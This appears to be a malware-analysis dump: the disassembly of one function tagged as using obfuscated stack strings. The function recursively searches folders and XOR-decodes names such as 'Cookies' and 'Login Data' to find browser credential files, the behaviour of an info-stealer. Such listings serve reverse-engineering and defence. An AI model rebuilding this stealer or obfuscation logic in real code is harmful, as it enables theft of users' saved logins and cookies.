Function at 0x401f4e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x486f57
call fcn.00486b34
sub esp, 0x218
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov eax, edx
mov dword [ebp - 0xa0], eax
mov edi, ecx
mov dword [ebp - 0x1c], edi
xor ebx, ebx
mov dword [ebp - 4], ebx
push 0x494140
lea ecx, [ebp - 0x9c]
call fcn.00403d39
pop ecx
mov esi, eax
cmp dword [esi + 0x14], 0x10
jb 0x401f91
mov esi, dword [esi]
mov cl, 0x67
mov dword [ebp - 0x7a], 0x15022c67
mov dword [ebp - 0x76], 0x540b0209
mov dword [ebp - 0x72], 0xb034955
mov word [ebp - 0x6e], 0xb
mov eax, ebx
mov dword [ebp - 0xa4], eax
cmp eax, 0xc
jae 0x401fcb
xor byte [ebp + eax - 0x79], cl
inc eax
mov dword [ebp - 0xa4], eax
mov cl, byte [ebp - 0x7a]
jmp 0x401fb6
mov byte [ebp - 0x6d], bl
lea eax, [ebp - 0x79]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
jne 0x401fe0
mov eax, ebx
jmp 0x401fec
mov edx, str.FindFirstFileA
mov ecx, eax
call fcn.00401390
lea ecx, [ebp - 0x224]
push ecx
push esi
call eax
mov esi, eax
mov dword [ebp - 0xc0], esi
lea ecx, [ebp - 0x9c]
call fcn.00403b2e
cmp esi, 0xffffffff
je 0x4024a6
lea eax, [ebp - 0x1f8]
push eax
lea ecx, [ebp - 0x3c]
call fcn.00403ae8
lea eax, [ebp - 0x3c]
cmp dword [ebp - 0x28], 0x10
cmovae eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x2c], 1
jne 0x40203b
cmp byte [eax], 0x2e
je 0x402431
lea eax, [ebp - 0x3c]
cmp dword [ebp - 0x28], 0x10
cmovae eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x2c], 2
jne 0x40205a
mov ecx, 0x2e2e
cmp word [eax], cx
je 0x402431
push 0x4940ac
mov edx, dword [ebp - 0xa0]
test byte [ebp - 0x224], 0x10
je 0x4020b9
lea ecx, [ebp - 0xe0]
call fcn.00403d39
pop ecx
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, eax
call fcn.00403a2e
push eax
lea ecx, [ebp - 0x9c]
call fcn.00403ab7
lea edx, [ebp - 0x9c]
mov ecx, edi
call fcn.00401f4e
lea ecx, [ebp - 0x9c]
call fcn.00403b2e
lea ecx, [ebp - 0xe0]
call fcn.00403b2e
jmp 0x402431
lea ecx, [ebp - 0x9c]
call fcn.00403d39
pop ecx
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, eax
call fcn.00403a2e
push eax
lea ecx, [ebp - 0x84]
call fcn.00403ab7
lea ecx, [ebp - 0x9c]
call fcn.00403b2e
mov cl, 0x36
mov dword [ebp - 0x45], 0x59597536
mov dword [ebp - 0x41], 0x45535f5d
mov byte [ebp - 0x3d], bl
mov eax, ebx
mov dword [ebp - 0xa8], eax
cmp eax, 7
jae 0x402117
xor byte [ebp + eax - 0x44], cl
inc eax
mov dword [ebp - 0xa8], eax
mov cl, byte [ebp - 0x45]
jmp 0x402102
mov byte [ebp - 0x3d], bl
lea ecx, [ebp - 0x44]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402120
sub ecx, edx
lea eax, [ebp - 0x3c]
mov edi, dword [ebp - 0x28]
cmp edi, 0x10
cmovae eax, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x2c]
cmp esi, ecx
jne 0x402165
push esi
lea ecx, [ebp - 0x44]
push ecx
push eax
call fcn.0046a61d
add esp, 0xc
test eax, eax
jne 0x402165
lea eax, [ebp - 0x84]
push eax
mov edi, dword [ebp - 0x1c]
mov ecx, edi
call fcn.0045aaa8
jmp 0x402420
mov cl, 0x1a
mov dword [ebp - 0x5b], 0x7d75561a
mov dword [ebp - 0x57], 0x5e3a7473
mov dword [ebp - 0x53], 0x7b6e7b
mov eax, ebx
mov dword [ebp - 0xac], eax
cmp eax, 0xa
jae 0x402199
xor byte [ebp + eax - 0x5a], cl
inc eax
mov dword [ebp - 0xac], eax
mov cl, byte [ebp - 0x5b]
jmp 0x402184
mov byte [ebp - 0x50], bl
lea ecx, [ebp - 0x5a]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4021a2
sub ecx, edx
lea eax, [ebp - 0x3c]
cmp edi, 0x10
cmovae eax, dword [ebp - 0x3c]
cmp esi, ecx
jne 0x4021cd
push esi
lea ecx, [ebp - 0x5a]
push ecx
push eax
call fcn.0046a61d
add esp, 0xc
test eax, eax
mov al, 1
je 0x4021cf
mov al, bl
test al, al
mov eax, ebx
je 0x40229a
mov cl, 0x32
mov dword [ebp - 0x23], 0x57427d32
mov word [ebp - 0x1f], 0x5340
mov byte [ebp - 0x1d], bl
mov dword [ebp - 0xb0], eax
cmp eax, 5
jae 0x402206
xor byte [ebp + eax - 0x22], cl
inc eax
mov dword [ebp - 0xb0], eax
mov cl, byte [ebp - 0x23]
jmp 0x4021f1
mov byte [ebp - 0x1d], bl
push ebx
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x9c]
push eax
call fcn.0045a0aa
mov edx, eax
lea ecx, [ebp - 0x22]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402225
sub ecx, esi
mov eax, edx
cmp dword [edx + 0x14], 0x10
jb 0x402238
mov eax, dword [edx]
cmp dword [edx + 0x10], ecx
jne 0x402255
push dword [edx + 0x10]
lea ecx, [ebp - 0x22]
push ecx
push eax
call fcn.0046a61d
add esp, 0xc
test eax, eax
mov byte [ebp - 0x15], 1
je 0x402258
mov byte [ebp - 0x15], bl
lea ecx, [ebp - 0x9c]
call fcn.00403b2e
mov edi, dword [ebp - 0x1c]
cmp byte [ebp - 0x15], bl
je 0x402287
lea eax, [ebp - 0x84]
push eax
mov ecx, edi
call fcn.0045b5ff
lea eax, [ebp - 0x84]
push eax
mov ecx, edi
call fcn.0045b23c
lea eax, [ebp - 0x84]
push eax
mov ecx, edi
call fcn.0045a609
jmp 0x402420
mov cl, 0x2d
mov dword [ebp - 0x4f], 0x4f487a2d
mov dword [ebp - 0x4b], 0x594c690d
mov word [ebp - 0x47], 0x4c
mov dword [ebp - 0xb4], eax
cmp eax, 8
jae 0x4022cb
xor byte [ebp + eax - 0x4e], cl
inc eax
mov dword [ebp - 0xb4], eax
mov cl, byte [ebp - 0x4f]
jmp 0x4022b6
mov byte [ebp - 0x46], bl
lea ecx, [ebp - 0x4e]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4022d4
sub ecx, edx
lea eax, [ebp - 0x3c]
cmp edi, 0x10
cmovae eax, dword [ebp - 0x3c]
cmp esi, ecx
jne 0x402321
push esi
lea ecx, [ebp - 0x4e]
push ecx
push eax
call fcn.0046a61d
add esp, 0xc
test eax, eax
jne 0x402321
lea eax, [ebp - 0x84]
push eax
mov edi, dword [ebp - 0x1c]
mov ecx, edi
call fcn.0045b5ff
lea eax, [ebp - 0x84]
push eax
mov ecx, edi
call fcn.0045b23c
jmp 0x402420
movaps xmm0, xmmword [0x49da10]
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0x4f5e43
mov ecx, ebx
mov dword [ebp - 0xb8], ecx
cmp ecx, 0x12
jae 0x402356
mov al, byte [ebp - 0x98]
xor byte [ebp + ecx - 0x97], al
inc ecx
jmp 0x40233b
mov byte [ebp - 0x85], bl
lea ecx, [ebp - 0x97]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402365
sub ecx, edx
lea eax, [ebp - 0x3c]
cmp edi, 0x10
cmovae eax, dword [ebp - 0x3c]
cmp esi, ecx
jne 0x4023a4
push esi
lea ecx, [ebp - 0x97]
push ecx
push eax
call fcn.0046a61d
add esp, 0xc
test eax, eax
jne 0x4023a4
lea eax, [ebp - 0x84]
push eax
mov edi, dword [ebp - 0x1c]
mov ecx, edi
call fcn.0045bbc3
jmp 0x402420
movaps xmm0, xmmword [0x49d6e0]
movups xmmword [ebp - 0xd8], xmm0
mov ecx, ebx
mov dword [ebp - 0xbc], ecx
cmp ecx, 0xe
jae 0x4023cf
mov al, byte [ebp - 0xd8]
xor byte [ebp + ecx - 0xd7], al
inc ecx
jmp 0x4023b4
mov byte [ebp - 0xc9], bl
lea ecx, [ebp - 0xd7]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4023de
sub ecx, edx
lea eax, [ebp - 0x3c]
cmp edi, 0x10
cmovae eax, dword [ebp - 0x3c]
cmp esi, ecx
jne 0x40241d
push esi
lea ecx, [ebp - 0xd7]
push ecx
push eax
call fcn.0046a61d
add esp, 0xc
mov edi, dword [ebp - 0x1c]
test eax, eax
jne 0x402420
lea eax, [ebp - 0x84]
push eax
mov ecx, edi
call fcn.0045bf22
jmp 0x402420
mov edi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x84]
call fcn.00403b2e
mov esi, dword [ebp - 0xc0]
lea ecx, [ebp - 0x3c]
call fcn.00403b2e
mov cl, 0xc
mov dword [ebp - 0x69], 0x7e69470c
mov dword [ebp - 0x65], 0x3f606962
mov dword [ebp - 0x61], 0x6068223e
mov word [ebp - 0x5d], 0x60
mov eax, ebx
mov dword [ebp - 0xc4], eax
cmp eax, 0xc
jae 0x402473
xor byte [ebp + eax - 0x68], cl
inc eax
mov dword [ebp - 0xc4], eax
mov cl, byte [ebp - 0x69]
jmp 0x40245e
mov byte [ebp - 0x5c], bl
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
jne 0x402488
mov eax, ebx
jmp 0x402494
mov edx, 0x4940d0
mov ecx, eax
call fcn.00401390
lea ecx, [ebp - 0x224]
push ecx
push esi
call eax
test eax, eax
jne 0x402012
push 0x57
pop ecx
mov byte [ebp - 0x32], cl
mov dword [ebp - 0x31], 0x3925321c
mov dword [ebp - 0x2d], 0x65643b32
mov dword [ebp - 0x29], 0x3b3b3379
mov byte [ebp - 0x25], bl
mov eax, ebx
mov dword [ebp - 0xc8], eax
cmp eax, 0xc
jae 0x4024e1
xor byte [ebp + eax - 0x31], cl
inc eax
mov dword [ebp - 0xc8], eax
mov cl, byte [ebp - 0x32]
jmp 0x4024cc
mov byte [ebp - 0x25], bl
lea eax, [ebp - 0x31]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0x402500
mov edx, 0x4940e0
mov ecx, eax
call fcn.00401390
mov ebx, eax
push esi
call ebx
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret